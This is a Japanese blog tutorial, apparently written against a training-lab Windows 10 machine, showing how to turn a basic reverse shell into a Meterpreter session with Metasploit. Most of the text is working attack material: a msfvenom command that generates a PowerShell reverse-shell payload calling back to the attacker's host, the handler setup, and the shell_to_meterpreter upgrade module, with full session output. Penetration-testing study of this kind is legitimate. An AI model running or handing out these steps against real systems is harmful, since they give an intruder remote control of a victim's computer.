ただのリバースシェルからmeterpreterに移行

初っ端から、meterpreter用にペイロードを作成しても、以下の様にexploit時にうまく行かないことがある。今回は、Windows10 x64でやってみる。

今回覚えたいポストは、これ

post/multi/manage/shell_to_meterpreter

0. いきなりmeterpreterでうまく行かないケース。。。

Payload options (windows/x64/meterpreter_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
LHOST 10.6.65.109 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Wildcard Target

View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > run

[] Started reverse TCP handler on 10.6.65.109:4444 [-] Meterpreter session 1 is not valid and will be closed [] 10.10.111.46 - Meterpreter session 1 closed.

こんな時はもっと低レイヤーなshellでペイロードを作成して、リバースシェル確立後にそのセッションから、meterpreterに移行することにより、うまく行くことがある。

1. shellでペイロードの作成

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.6.65.109 LPORT=4444 -f psh > shell.ps1

2. shell用のリスナーの作成と実行

$ msfconsole
msf6 > use exploit/multi/hander
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.6.65.109
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run

このあと、1で作成したペイロード(今回はpowershell)を対象のマシーンで実行させます。

3. 接続の確率

そうすると以下の様に、msfconsoleでwindowsへの接続が確立されます。

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.6.65.109:4444 
[*] Command shell session 1 opened (10.6.65.109:4444 -> 10.10.111.46:49811) at 2023-10-22 08:38:38 +0900

Shell Banner:
Microsoft Windows [Version 10.0.14393]
-----
          
C:\app>

4. meterpreterへの移行

バックグラウンド(msfconsole)へ戻る。現在確率されているセッションIDを確認。

C:\app>background

Background session 1? [y/N]  y
msf6 exploit(multi/handler) > sessions -l

Active sessions
===============

Id  Name  Type               Information                                            Connection
--  ----  ----               -----------                                            ----------
1         shell x64/windows  Shell Banner: Microsoft Windows [Version 10.0.14393]   10.6.65.109:4444 -> 10.10.111.46:49811 (10.10.111.46)
                               -----

shellからmeterperterに移行するポストを使用。

先程のセッションIDをセットする。

msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter 
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1

実行する。

msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.6.65.109:4433 
[*] Sending stage (200774 bytes) to 10.10.111.46
[*] Meterpreter session 2 opened (10.6.65.109:4433 -> 10.10.111.46:49805) at 2023-10-22 08:39:34 +0900
[*] Post module execution completed

そうすると以下の様に、meterpreter用のセッションが1つ増えています。

msf6 post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
===============

Id  Name  Type                     Information                                         Connection
--  ----  ----                     -----------                                         ----------
1         shell x64/windows        Shell Banner: Microsoft Windows [Version 10.0.1439  10.6.65.109:4444 -> 10.10.111.46:49811 (10.10.111.
                                     3] -----                                            46)
2         meterpreter x64/windows  DESKTOP-1AU6NT4\thm @ DESKTOP-1AU6NT4               10.6.65.109:4433 -> 10.10.111.46:49805 (10.10.111.
                                                                                         46)

5. meterpreterを使用する

新しく増えた、meterpreter用のセッションを指定して、windows上でmeterperterの使用が可能となります。

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > dir
Listing: C:\app
===============

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です